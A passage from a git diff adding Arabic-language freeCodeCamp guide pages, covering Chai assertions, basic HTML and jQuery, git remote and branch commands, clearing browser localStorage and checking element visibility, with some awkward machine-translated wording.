+ assert.strictEqual 
+ assert.deepEqual 
+ 
+ assert.isTrue 
+ assert.isFalse 
+ 
+ assert.isNull 
+ assert.isNotNull 
+ assert.isUndefined 
+ assert.isDefined 
+ assert.isFunction 
+ assert.isObject 
+ assert.isArray 
+ assert.isString 
+ assert.isNumber 
+ assert.isBoolean 
+ 
+ assert.typeOf(/tea/, 'regexp') // Object.prototype.toString() 
+ assert.instanceOf(chai, Tea) 
+ assert.include(<a href='https://github.com/rstacruz/cheatsheets' target='_blank' rel='nofollow'> a,b,c ], a) 
+ assert.match(val, /regexp/) 
+ assert.property(obj, 'tea') // 'tea' in object 
+ assert.deepProperty(obj, 'tea.green') 
+ assert.propertyVal(person, 'name', 'John') 
+ assert.deepPropertyVal(post, 'author.name', 'John') 
+ 
+ assert.lengthOf(object, 3) 
+ assert.throws(function() { ... }) 
+ assert.throws(function() { ... }, /reference error/) 
+ assert.doesNotThrow 
+ 
+ assert.operator(1, '<', 2) 
+ assert.closeTo(actual, expected) 
+` 
+
+## ينبغي: سلاسل
+
+ `.to .be .been .is .that .and .have .with .at .of .same 
+` 
+
+## لا يجب
+
+ `expect(object).not.equal('x') 
+` 
+
+## توقعات
+
+ `expect(object) 
+  .equal(expected) 
+  .eql 
+  .deep.equal(expected) // same as .eql 
+  .be.a('string') 
+  .include(val) 
+ 
+  .be.ok(val) 
+  .be.true 
+  .be.false 
+ 
+  .be.null 
+  .be.undefined 
+  .be.empty 
+  .be.arguments 
+  .be.function 
+  .be.instanceOf 
+ 
+  .gt(5)  # or .above .greaterThan 
+  .gte    # or .at.least 
+  .lt(5)  # or .below 
+ 
+  .respondTo('bar') 
+  .satisfy (n) -> n > 0 
+ 
+  .have.members([2, 3, 4]) 
+  .have.keys(['foo']) 
+  .have.key('foo') 
+ 
+  .exist 
+ 
+ expect(-> ...) 
+  .throw /not a function/ 
+` 
+
+## تشاي-مسج
+
+ `    global.jQuery = ...; 
+    chai.use(require('chai-jquery')); 
+ 
+    expect($body) 
+ 
+      .have.attr('foo') 
+      .have.prop('disabled') 
+      .have.css('background') 
+      .have.css('background-color', '#ffffff') 
+      .have.data('foo') 
+ 
+      .have.class('active') 
+      .have.id('id') 
+ 
+      .have.html('<em>hi</em>') 
+      .have.text('hello') 
+      .have.value('2013') 
+ 
+      .be.visible 
+      .be.hidden 
+ 
+      .be.checked 
+      .be.selected 
+ 
+      .be.enabled 
+      .be.disabled 
+ 
+      .be.empty 
+      .to.exist 
+      .to.contain('text') 
+      .to.have('.selector') 
+` 
+
+> \[ricostacruz CheatSheets
+> 
+> [ناقش على جيتر](https://gitter.im/bothelp/testing)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/challenge-dcommenter-html/index.md b/client/src/guide/arabic/miscellaneous/challenge-dcommenter-html/index.md
new file mode 100644
index 0000000000..9ab6328782
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/challenge-dcommenter-html/index.md
@@ -0,0 +1,12 @@
+---
+title: Challenge Dcommenter HTML
+localeTitle: تحدي Dcommenter HTML
+---
+تسمح التعليقات بتجاهل الشفرة. في HTML ، تتم التعليقات من خلال إرفاق الرمز الذي تريد تجاهله مع `<!--` و `-->` .  
+`<! - Ce texte n'apparaîtra pas puisqu'il est un commentaire ->`
+
+يمكنك إزالة رمز HTML بسهولة عن طريق إزالة عناصر التعليقات.
+
+**_ملاحظة:_** كن حذرًا عند إلغاء إضافة رمز HTML وتذكر إزالة عناصر بداية التعليق ونهايته!
+
+**_ملاحظة:_** يمكن إجراء التعليقات بشكل مختلف في لغات البرمجة الأخرى ، مثل JavaScript ، لكن الفكرة العامة لإزالة كل ما يمثل تعليقًا ينطبق عليها.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/challenge-dire-bonjour-aux-elements-html/index.md b/client/src/guide/arabic/miscellaneous/challenge-dire-bonjour-aux-elements-html/index.md
new file mode 100644
index 0000000000..e83041cf2e
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/challenge-dire-bonjour-aux-elements-html/index.md
@@ -0,0 +1,15 @@
+---
+title: Challenge Dire Bonjour Aux Elements HTML
+localeTitle: التحدي قل مرحبا لعناصر HTML
+---
+تتم كتابة عناصر HTML بعلامة بدء وعلامة انتهاء ومحتوى بين:
+
+*   `<nom-de-la-balise>contenu</nom-de-la-balise>`
+
+يتضمن عنصر HTML كل ما يتم تضمينه من علامة البداية إلى علامة النهاية:
+
+*   `<p>Mon premier paragraphe HTML.</p>`
+
+تبدو علامات الفتح بالشكل التالي: `<h1>` ، وتبدو علامات الإغلاق كما يلي: `</h1>`
+
+*   لاحظ أن الاختلاف الوحيد بين علامة الفتح وعلامة الإغلاق هو أن علامة الإغلاق تحتوي على شرطة مائلة بعد شيفرون الافتتاحي. تعد الشرطة المائلة في علامة الإغلاق مهمة جدًا لأنها تشير إلى أن العلامة هي نهاية هذا العنصر.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/challenge-informer-avec-l-element-de-paragraphe/index.md b/client/src/guide/arabic/miscellaneous/challenge-informer-avec-l-element-de-paragraphe/index.md
new file mode 100644
index 0000000000..628c6e0053
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/challenge-informer-avec-l-element-de-paragraphe/index.md
@@ -0,0 +1,12 @@
+---
+title: Challenge Informer Avec L Element De Paragraphe
+localeTitle: التحدي إعلام مع عنصر الفقرة
+---
+العنصر `p` هو العنصر المفضل لنص الفقرة بالحجم الطبيعي على مواقع الويب. `p` هو اختصار "الفقرة".
+
+يمكنك إنشاء عنصر `p` مثل هذا: `<p>Je suis un élément p !</p>` .
+
+ `<h1>Hello World</h1> 
+ <h2>ApplicationDePhotosDeChats</h2> 
+ <p>Bonjour Paragraphe</p> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/challenge-titre-avec-un-element-h2/index.md b/client/src/guide/arabic/miscellaneous/challenge-titre-avec-un-element-h2/index.md
new file mode 100644
index 0000000000..b8239afffa
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/challenge-titre-avec-un-element-h2/index.md
@@ -0,0 +1,9 @@
+---
+title: Challenge Titre Avec Un Element H2
+localeTitle: عنوان التحدي مع عنصر H2
+---
+يمكنك إنشاء عناصر العنوان باستخدام h1 و h2 و h3 و h4 و h5 و h6 التي ستؤدي إلى أحجام مختلفة.
+
+ `<h1>Hello World</h1> 
+ <h2>ApplicationDePhotosDeChats</h2> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/change-text-inside-an-element-using-jquery/index.md b/client/src/guide/arabic/miscellaneous/change-text-inside-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..6c5a1ddb65
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/change-text-inside-an-element-using-jquery/index.md
@@ -0,0 +1,14 @@
+---
+title: Change Text Inside an Element Using jQuery
+localeTitle: تغيير النص داخل عنصر باستخدام jQuery
+---
+باستخدام jQuery ، يمكنك تغيير النص بين علامات البداية والنهاية للعنصر. يمكنك حتى تغيير ترميز HTML.
+
+يحتوي jQuery على وظيفة تسمى `.html()` تسمح لك بإضافة علامات HTML ونص داخل عنصر. سيتم استبدال أي محتوى سابق داخل العنصر تمامًا بالمحتوى الذي تقدمه باستخدام هذه الوظيفة.
+
+في ما يلي كيفية كتابة نص العنوان وتعيينه بخط مائل:
+
+ `$("h3").html("<em>jQuery Funhouse</em>"); 
+` 
+
+يحتوي jQuery أيضًا على دالة مشابهة تُسمى `.text()` تقوم فقط بتغيير النص دون إضافة علامات. لذلك عند استخدام `.html()` يرجى تذكر أنك ستقوم بتحرير الترميز بالكامل وليس النص فقط.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/change-text-with-click-events/index.md b/client/src/guide/arabic/miscellaneous/change-text-with-click-events/index.md
new file mode 100644
index 0000000000..23c3fde187
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/change-text-with-click-events/index.md
@@ -0,0 +1,10 @@
+---
+title: Change Text with Click Events
+localeTitle: تغيير النص باستخدام أحداث النقر
+---
+عند حدوث حدث النقر ، يمكننا استخدام Ajax لتحديث عنصر HTML مع التعليمة البرمجية التالية:
+
+ `$(".message").html("Here is the message"); 
+` 
+
+هذا يخبر jQuery لاستخدام `message` الفصل كمحدد ، وتغيير HTML لتوفير السلسلة ، يمكننا أيضًا إضافة عناصر html مخصصة ملتفة بعلامات اقتباس.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/change-the-css-of-an-element-using-jquery/index.md b/client/src/guide/arabic/miscellaneous/change-the-css-of-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..fabf47139a
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/change-the-css-of-an-element-using-jquery/index.md
@@ -0,0 +1,15 @@
+---
+title: Change the CSS of an Element Using jQuery
+localeTitle: تغيير CSS لعنصر باستخدام jQuery
+---
+يمكننا أيضًا تغيير CSS لعنصر HTML مباشرةً باستخدام jQuery.
+
+يحتوي Query على دالة تسمى `.css()` تسمح لك بتغيير CSS لعنصر.
+
+ `<script> 
+  $(document).ready(function() { 
+    $("#target1").css("color", "red"); 
+ 
+  }); 
+ </script> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/change-the-url-of-a-remote-repository/index.md b/client/src/guide/arabic/miscellaneous/change-the-url-of-a-remote-repository/index.md
new file mode 100644
index 0000000000..8a459d0f4d
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/change-the-url-of-a-remote-repository/index.md
@@ -0,0 +1,28 @@
+---
+title: Change the Url of a Remote Repository
+localeTitle: قم بتغيير عنوان Url لمستودع عن بعد
+---
+يقوم الأمر `git remote set-url` بتغيير عنوان URL مستودع موجود عن بعد.
+
+**يأخذ هذا الأمر الوسيطتين:**
+
+1.  اسم بعيد موجود. على سبيل المثال ، الأصل أو المنبع هما خياران شائعان.
+    
+2.  عنوان URL جديد لجهاز التحكم عن بعد. على سبيل المثال ، `https://github.com/USERNAME/OTHERREPOSITORY.git`
+    
+
+**لذلك ، لتغيير عنوان URL لمستودع بعيد ، يمكنك فعل شيء كالتالي:**
+
+1.  عرض مستودع موجود عن بعد:
+
+`git remote -v`
+
+1.  تغيير عنوان URL للمستودع البعيد:
+
+`git remote set-url origin https://github.com/USERNAME/OTHERREPOSITORY.git`
+
+1.  ويمكنك التحقق من مستودع بعيد جديد عن طريق القيام بما يلي:
+
+`git remote -v`
+
+_لمزيد من المعلومات راجع [هذا المقال جيثور.](https://help.github.com/articles/changing-a-remote-s-url/)_
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/changes-made-to-the-site-on-february-11-2016/index.md b/client/src/guide/arabic/miscellaneous/changes-made-to-the-site-on-february-11-2016/index.md
new file mode 100644
index 0000000000..f1b5b3801b
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/changes-made-to-the-site-on-february-11-2016/index.md
@@ -0,0 +1,55 @@
+---
+title: Changes Made to the Site on February 11 2016
+localeTitle: التغييرات التي تم إجراؤها على الموقع في 11 فبراير 2016
+---
+## إصلاح الاختناقات التي جعلت FreeCodeCamp.com بطيئًا جدًا
+
+*   ينمو مجتمع المصدر المفتوح سريعًا ، وقد تباطأ هذا الموقع في هذا الأسبوع إلى الزحف خلال ساعات الذروة.
+*   لقد مرت علينا ، حددت العديد من الاختناقات ، وثبت لهم. يجب أن يكون مخيم Code الآن أسرع من أي وقت مضى.
+*   شكراً جزيلاً لـ [berkeleytrue](https://gitter.im/berkeleytrue) على قيادة هذا الجهد ، وإلى العديد من المعسكرات الذين ساعدوا QA على هذه التحسينات.
+
+## نقدم لكم Wiki الجديد الخاص بنا
+
+*   Wiki الخاص بنا الآن على FreeCodeCamp.com نفسه (على عكس GitHub Wiki لمشروعنا الرئيسي).
+*   الويكي الخاص بنا يبرز مثل الدردشة و الخريطة. نحن نرحب بردود الفعل على هذه الوظيفة الجديدة. مفاتيح التشغيل السريع ، وسياق ويكي المقالات ، وغيرها من الميزات سوف تأتي قريبا.
+*   شكر كبير ل [@ saintpeter](https://gitter.im/saintpeter) ، [hallaathrad](https://gitter.im/hallaathrad) ، و [awesomeaniruddh](https://gitter.im/awesomeaniruddh) ، جنبا إلى جنب مع العديد من المعسكرين الآخرين لعملهم الشاق في هذا!
+
+## افتتاح متجر لدينا
+
+*   لدينا حملة جديدة للقمصان حتى 15 فبراير. سارع وشتري واحدة من هذه القمصان الفريدة من نوع Free Code Camp: [انقر هنا لحملتنا الأمريكية](https://teespring.com/free-code-camp-feb) | [انقر هنا لحملة الاتحاد الأوروبي](https://teespring.com/free-code-camp-t-shirt-eu-shop)
+*   أنشأنا صفحة متجر جديدة. إنه يرتبط فقط بحملة قمصاننا الآن ، ولكننا سنحصل قريبًا على ملصقات الكمبيوتر المحمول وغيرها من المعدات الرائعة.
+
+## تقاعد كامبر نيوز
+
+*   على مدار العام الماضي ، حققت Camper News نجاحًا متواضعًا. ولكن كذلك لدينا subreddit لدينا ، والذي يسمح للتعليق ، والاعتدال ، والعديد من الميزات الأخرى. لذلك نحن ننتقل إلى Reddit لمشاركة الأخبار.
+*   نوصي بإنشاء حساب Reddit إذا لم يكن لديك حساب بالفعل [والانضمام إلى subreddit](https://www.reddit.com/r/freecodecamp) . يمكنك الآن مشاركة الروابط مع مجتمعنا بالكامل هناك ، بالإضافة إلى أفكارك وأسئلتك.
+*   سنبقى Camper News على الهواء مباشرة لبعض الوقت ، ولكننا سنزيل الارتباط من قائمة التنقل الخاصة بنا ، ونزيل التحدي الذي قدمه.
+
+## تحديث التحديات
+
+*   طلب العديد من المعسكرات إنشاء مشروع أسهل يركز على HTML لتسبق "إنشاء صفحة ويب شخصية للحافظة". لذلك أنشأنا مشروعًا جديدًا يمكن إكماله باستخدام HTML و Bootstrap فقط يسمى "Build a Tribute Page".
+*   نحن أيضا resections في مشاريعنا الأمامية. إليك كيفية تنظيمها الآن:
+    *   مشاريع الواجهة الأمامية الأساسية
+        *   بناء صفحة تحية
+        *   قم ببناء صفحة الويب الشخصية للحافظة
+    *   مشاريع الواجهة الأمامية المتوسطة
+        *   بناء آلة اقتباس عشوائي
+        *   إظهار الطقس المحلي
+        *   بناء عارض ويكيبيديا
+        *   استخدم Twitch.tv JSON API
+    *   مشاريع الواجهة الأمامية المتقدمة
+        *   بناء حاسبة جافا سكريبت
+        *   بناء على مدار الساعة بومودورو
+        *   بناء لعبة تيك تاك تو
+        *   بناء لعبة سيمون
+*   ستلاحظ أننا قمنا بإزالة مشروع "Build a Camper News Viewer" منذ أن تقاعدنا عن Camper News. إذا سبق لك إكمال هذا التحدي ، فيجب وضع علامة "تم إنشاؤه على صفحة تكريم" على أنها مكتملة بالنسبة لك على خريطتك.
+*   أيضا ، ل "بناء لعبة تيك تاك تو" ، لم تعد تحتاج إلى جعله لا يهزم. (يمكنك بالتأكيد إذا كنت تريد - [فإليك الطريقة](http://neverstopbuilding.com/minimax) . وعلى الرغم من أن القيام بذلك يعد تمرينًا مفيدًا ، فإن كتابة الذكاء الاصطناعي هو خروج عن تركيز المشروع ، وهو تطوير الواجهة الأمامية.
+*   أضفنا ثلاثة تحديات اختيارية جديدة تساعدك في الانضمام إلى:
+    *   [subreddit](https://reddit.com/r/freecodecamp)
+    *   [منشور متوسط](https://medium.freecodecamp.com)
+    *   [قناة Twitch.tv](https://twitch.tv/freecodecamp)
+
+## قريبا
+
+*   سنطلق تحدياتنا الإسبانية في الأيام القليلة القادمة.
+*   نحن نخطط لإطلاق اختيارات React و Sass و D3 الاختيارية في ربيع هذا العام. لكن لا تنتظر - يمكنك إكمال المشاريع بمساعدة الوثائق الرسمية لهذه المشاريع - وقد قام 16 معسكرًا بذلك بالفعل.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/check-the-length-property-of-a-string-variable/index.md b/client/src/guide/arabic/miscellaneous/check-the-length-property-of-a-string-variable/index.md
new file mode 100644
index 0000000000..a97d87ddef
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/check-the-length-property-of-a-string-variable/index.md
@@ -0,0 +1,8 @@
+---
+title: Check the Length Property of a String Variable
+localeTitle: تحقق من الخاصية الطول من متغير سلسلة
+---
+هياكل البيانات لها خصائص. على سبيل المثال ، تحتوي السلاسل على خاصية تسمى `.length` والتي ستخبرك بعدد الحروف في السلسلة.
+
+ `lastNameLength = lastName.length; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/checking-for-hidden-elements/index.md b/client/src/guide/arabic/miscellaneous/checking-for-hidden-elements/index.md
new file mode 100644
index 0000000000..a713627fef
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/checking-for-hidden-elements/index.md
@@ -0,0 +1,54 @@
+---
+title: Checking for Hidden Elements
+localeTitle: التحقق من العناصر المخفية
+---
+هناك أوقات قد تحتاج فيها إلى التحقق مما إذا كان العنصر مرئيًا أو مخفيًا على الشاشة حتى تتمكن من تنفيذ بعض الإجراءات عليه نظرًا لحالته. كنت أبحث في بعض الحلول على Stack Overflow لمحاولة التأكد مما إذا كان العنصر مرئيًا ، ولم أكن راضياً عن الإجابات التي تلقيتها.
+
+كانت الإجابة واحدة لاستخدام مكتبة jQuery ، ومن ثم تحقق لمعرفة ما إذا كان العنصر يحتوي على pseudoclass `:visible` باستخدام هذا التنسيق: `$(element).is(':visible')` . يعمل هذا مع العناصر المخفية باستخدام `display: none;` عليها، ولكنه لا يعمل على أي عنصر التي لها `visibility` لتعيين `hidden` . كما أنه لا يعمل إذا كان العنصر الرئيسي هو العنصر الوحيد المخفي عن العرض. إذا كان أي عنصر رئيسي في العنصر الذي تم اختباره مخفيًا ، باستخدام إما إمكانية `visibility` أو `display` ، فسيظهر العنصر الذي يتم اختباره على أنه مرئي ، على الرغم من عدم ظهوره على الشاشة.
+
+## الحل
+
+لقد توصلت إلى وظيفة جافا سكريبت بحتة والتي تحل هذه المشكلة التي ليس لها اعتمادات وهي حل متوافق مع المتصفحات المتقاطعة. تقوم هذه الوظيفة بتحليل العنصر أولاً لمعرفة ما إذا كان يتم `display` خصائص `display` أو `visibility` على أنها `none` أو `hidden` على التوالي. ثم ، إذا كانت تلك العودة طبيعية ، فإنها تتحقق من جميع عناصر الأصل حتى نص المستند. إذا كان العنصر الرئيسي للعنصر الجاري اختباره مخفيًا ، فهذا يعني أن العنصر الجاري اختباره غير مرئي في المستند.
+
+[في ما يلي نموذج CodePen الذي يوضح هذا السلوك ويعرض المقارنة التي تستخدم حل jQuery وحل جافا سكريبت الخالص](http://codepen.io/marcusparsons/pen/bpNqgY) . لاحظ في CodePen أنه على الرغم من أن العنصر غير واضح من العرض ، فإن استخدام jQuery's `.is(':visible')` لا يعد خيارًا قابلاً للتطبيق لفحص أي عنصر للرؤية.
+
+وهنا هي الوظيفة التي أنشأتها:
+
+ `function isVisible (element) { 
+    //start with initial element to check visibility and display 
+    var el = document.querySelector(element); 
+    //display and visibility vary per browser and must be sought in different ways depending on the browser 
+    var t1 = el.currentStyle ? el.currentStyle.visibility : getComputedStyle(el, null).visibility; 
+    var t2 = el.currentStyle ? el.currentStyle.display : getComputedStyle(el, null).display; 
+    //if either of these are true, then the element is not visible 
+    if (t1 === "hidden" || t2 === "none") { 
+        return false; 
+    } 
+    //This regex is used to scan the parent nodes all the way up to the body element 
+    while (!(/body/i).test(el)) { 
+        //get the next parent node 
+        el = el.parentNode; 
+        //grab the values, if available, 
+        t1 = el.currentStyle ? el.currentStyle.visibility : getComputedStyle(el, null).visibility; 
+        t2 = el.currentStyle ? el.currentStyle.display : getComputedStyle(el, null).display; 
+        if (t1 === "hidden" || t2 === "none") { 
+            return false; 
+        } 
+    } 
+    //if all scans are not successful, then the element is visible 
+    return true; 
+ } 
+` 
+
+ولكي تستخدم الوظيفة ، تحتاج فقط إلى الاتصال بها بسلسلة استعلام لتحديد العنصر المراد اختباره
+
+ `<body> 
+    <p style="visibility: hidden;" id="myP">My paragraph</p> 
+    <script type="text/javascript"> 
+        //include isVisible function 
+        alert('Is my paragraph visible? ' + isVisible('#myP')); 
+    </script> 
+ </body> 
+` 
+
+وسيكون التنبيه الناتج: `Is my paragraph visible? false`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/checking-if-the-element-is-currently-hidden/index.md b/client/src/guide/arabic/miscellaneous/checking-if-the-element-is-currently-hidden/index.md
new file mode 100644
index 0000000000..ebc70e73b0
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/checking-if-the-element-is-currently-hidden/index.md
@@ -0,0 +1,18 @@
+---
+title: Checking if the Element Is Currently Hidden
+localeTitle: التحقق مما إذا كان العنصر مخفي حاليًا
+---
+إذا كنت بحاجة إلى التحقق من حالة رؤية بعض العناصر على الصفحة ، فيمكنك القيام بذلك بسهولة مع مكتبة jQuery مع كتلة بسيطة من التعليمات البرمجية مثل واحد أدناه.
+
+ `var display = ( jQuery('#someElement').is(':visible') ); 
+ var visibility = ( jQuery('#someElement').css('visibility') != 'hidden' ); 
+ var status = ( display && visibility ); 
+ console.log( status ); 
+` 
+
+لذا ، إذا كان العنصر مرئيًا حاليًا على الصفحة ، **`console.log(status)`** الأمر **`console.log(status)`** `true` وفي أية حالة أخرى ، سيظهر `false` . سيتم إرجاع العبارة `false` في هاتين الحالتين:
+
+*   إذا `display:none;` العنصر `display:none;`
+*   إذا كان العنصر به مستوى `visibility: hidden`
+
+وللتحقق الأكثر تقدمًا من هذا القبيل: **هو العنصر المرئي على إطار العرض الآن** الذي أوصي به لاستخدام [المساعد jQuery onScreen](http://benpickles.github.io/onScreen/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/checkout-a-remote-branch-in-git/index.md b/client/src/guide/arabic/miscellaneous/checkout-a-remote-branch-in-git/index.md
new file mode 100644
index 0000000000..44d39dfca6
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/checkout-a-remote-branch-in-git/index.md
@@ -0,0 +1,38 @@
+---
+title: Checkout a Remote Branch in Git
+localeTitle: الخروج فرع بعيد في جيت
+---
+# الخروج سير عمل فرع بعيد
+
+اعتمادا على عدد أجهزة التحكم عن بعد المتاحة للرجوع المحلي الخاص بك ، اتبع التدفق المناسب.
+
+## بالنسبة لـ repos مع جهاز تحكم عن بعد واحد:
+
+إذا كان الريبو المحلي الخاص بك يحتوي على جهاز تحكم عن بُعد واحد فقط ، على سبيل المثال ، `origin` فقط:
+
+ `git remote -v 
+ origin  https://github.com/my_username/AwesomeRepo.git (fetch) 
+ origin  https://github.com/my_username/AwesomeRepo.git (push) 
+` 
+
+ثم يمكنك ببساطة القيام بما يلي:
+
+`git fetch`
+
+`git checkout some_branch_name`
+
+## بالنسبة لـ Repos مع جهاز تحكم عن بُعد:
+
+إذا كان الريبو المحلي الخاص بك لديه أجهزة التحكم عن بعد متعددة:
+
+ `git remote -v 
+ origin      https://github.com/raisedadead/wiki.git (fetch) 
+ origin      https://github.com/raisedadead/wiki.git (push) 
+ upstream    https://github.com/FreeCodeCamp/wiki.git (fetch) 
+ upstream    https://github.com/FreeCodeCamp/wiki.git (push) 
+` 
+
+ثم عليك تحديد جهاز تحكم عن بعد أيضًا:  
+`git fetch`  
+`git checkout -b some_branch_name <remote>/some_branch_name`  
+حيث `<remote>` في هذا المثال هو إما `upstream` أو `origin` .
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/clear-specific-values-from-your-browser-local-storage/index.md b/client/src/guide/arabic/miscellaneous/clear-specific-values-from-your-browser-local-storage/index.md
new file mode 100644
index 0000000000..4a92e1d3ff
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/clear-specific-values-from-your-browser-local-storage/index.md
@@ -0,0 +1,47 @@
+---
+title: Clear Specific Values from Your Browser Local Storage
+localeTitle: قم بإلغاء تحديد قيم محددة من مستعرض التخزين المحلي الخاص بك
+---
+ستؤدي إزالة قيم محددة من وحدة التخزين المحلية للمتصفح إلى حل العديد من المشكلات المتعلقة بتعطل المتصفح أو تجميده على FreeCodeCamp.
+
+يحل هذا ، على سبيل المثال ، مشكلة شائعة في المتصفح المتدرج في صفحة التحدي بعد حفظ استجابة لحلقة لا نهائية.
+
+عندما يحدث هذا ، يجب عليك حذف القيمة في التخزين `localStorage` تخزين تلك الاستجابة.
+
+## في Chrome:
+
+*   على **freecodecamp.com** ، افتح أدوات المطور.
+    
+    *   المزيد من الأدوات> أدوات المطور (أو `Ctrl` + `Shift` + `I` (Windows) ، `Cmd` + `Opt` + `I` (Mac))
+*   انتقل إلى علامة التبويب `Resources`
+    
+*   قم بتوسيع عنصر `Local Storage` في الجزء الأيمن
+    
+*   حدد `http://www.freecodecamp.com`
+    
+*   ابحث عن التحدي الذي تريد حذف البيانات في الجزء الأيسر ![العثور على مفتاح في LocalStorage أدوات مطوري Chrome](//discourse-user-assets.s3.amazonaws.com/original/2X/8/8300d3dfcf8a07bc3c1f69e7dd730d99e353972d.png)
+    
+*   انقر بزر الماوس الأيمن على التحدي المطلوب وحدد `Delete`
+    
+
+## في Firefox:
+
+*   على **freecodecamp.com** ، افتح وحدة تحكم الويب الخاصة بك مع
+    
+    *   `Ctrl` + `Shift` + `K`
+*   من هناك ، باستخدام وحدة التحكم مباشرة:
+    
+    *   اكتب `console.log(localStorage);` ثم اضغط على `Enter` .
+        
+    *   انقر في وصلة `Storage` . ![اطبع كائن التخزين المحلي من وحدة تحكم الويب وعرض التخزين](//discourse-user-assets.s3.amazonaws.com/original/2X/e/e3778d1c24e9da6fe506564405b5b1ebc11facc1.png)
+        
+    *   ستظهر لوحة **التخزين** على اليمين.
+        
+    *   قم بتصفية النتائج للعثور على الخوارزمية أو مشروع الواجهة الأمامية أو التحدي الذي يسبب المشكلة.
+        
+    *   عند تحديد مكانه ، مرر الماوس فوقه وانقر على `x` على اليمين. ![انقر على x لحذف إدخال القيمة.](//discourse-user-assets.s3.amazonaws.com/original/2X/a/a309e8ec8d92301f3507001ca3a796009d0a00d8.png)
+        
+    *   بمجرد إزالتها ، تحقق مما إذا كانت المشكلة قد تم حلها. قم بتحديث أو إغلاق وفتح المتصفح إذا لزم الأمر.
+        
+
+**ملاحظة:** يمكن القيام بذلك أيضًا مع [Storage Inspector](https://developer.mozilla.org/en-US/docs/Tools/Storage_Inspector) ، ولكن يبدو أن Firefox يخرج عند وجود العديد من القيم.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/cloning-a-specific-branch-in-git/index.md b/client/src/guide/arabic/miscellaneous/cloning-a-specific-branch-in-git/index.md
new file mode 100644
index 0000000000..4708a14767
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/cloning-a-specific-branch-in-git/index.md
@@ -0,0 +1,18 @@
+---
+title: Cloning a Specific Branch in Git
+localeTitle: استنساخ فرع معين في جيت
+---
+لاستنساخ فرع ، أدخل ما يلي في المحطة:
+
+ `git clone -b <branch> <remote_repo> 
+` 
+
+إذا كنت تريد فقط جلب الفرع المحدد:
+
+ `git clone -b <branch> --single-branch <remote_repo> 
+` 
+
+إليك مثال لجلب فرع `staging` من FreeCodeCamp:
+
+ `git clone -b staging https://github.com/FreeCodeCamp/FreeCodeCamp.git 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/cloning-all-remote-branches-in-git/index.md b/client/src/guide/arabic/miscellaneous/cloning-all-remote-branches-in-git/index.md
new file mode 100644
index 0000000000..ffba3b11d1
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/cloning-all-remote-branches-in-git/index.md
@@ -0,0 +1,29 @@
+---
+title: Cloning All Remote Branches in Git
+localeTitle: استنساخ جميع الفروع النائية في جيت
+---
+لاستنساخ مستودع git بعيد ، أدخل ما يلي في المحطة الطرفية:
+
+> ملاحظة: تأكد من وجودك في مجلد جذر مثل `webdev` بدلاً من مجلد خاص بالمشروع.
+
+ `git clone <remote_repo> 
+ cd <remote_repo> 
+` 
+
+قائمة الفروع الخاصة بك باستخدام هذه الأوامر:
+
+ `git branch // Lists local branches 
+ git branch -a // Lists local and remote branches 
+` 
+
+للتحقق من فرع بعيد محليًا:
+
+ `git checkout <branch> 
+` 
+
+إليك مثال لجلب الفرع `master` البعيد من FreeCodeCamp:
+
+ `git clone https://github.com/FreeCodeCamp/FreeCodeCamp.git 
+ cd FreeCodeCamp 
+ git checkout master 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/create-a-new-api-endpoint-in-angular/index.md b/client/src/guide/arabic/miscellaneous/create-a-new-api-endpoint-in-angular/index.md
new file mode 100644
index 0000000000..059a2786b0
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/create-a-new-api-endpoint-in-angular/index.md
@@ -0,0 +1,7 @@
+---
+title: Create a New Api Endpoint in Angular
+localeTitle: إنشاء نقطة نهاية API جديدة في Angular
+---
+> > yo angular-fullstack: endpoint whatsit
+
+باستخدام هذا الخط ، يمكنك الحصول على Yeoman لإنشاء نقطة نهاية API أخرى ونوع جديد جديد لجمع قاعدة البيانات الخاصة بك. الآن لدينا _أشياء_ وكذلك _whatsits_ ! لا تتردد في فتح **/server/api/whatsit/whatsit.model.js** وتحديد Whatsit الخاص بك كيفما تشاء.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/create-a-new-route-in-angular/index.md b/client/src/guide/arabic/miscellaneous/create-a-new-route-in-angular/index.md
new file mode 100644
index 0000000000..442259d571
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/create-a-new-route-in-angular/index.md
@@ -0,0 +1,11 @@
+---
+title: Create a New Route in Angular
+localeTitle: إنشاء مسار جديد في Angular
+---
+> > يو الزاوي ، fullstack: الطريق newpage
+
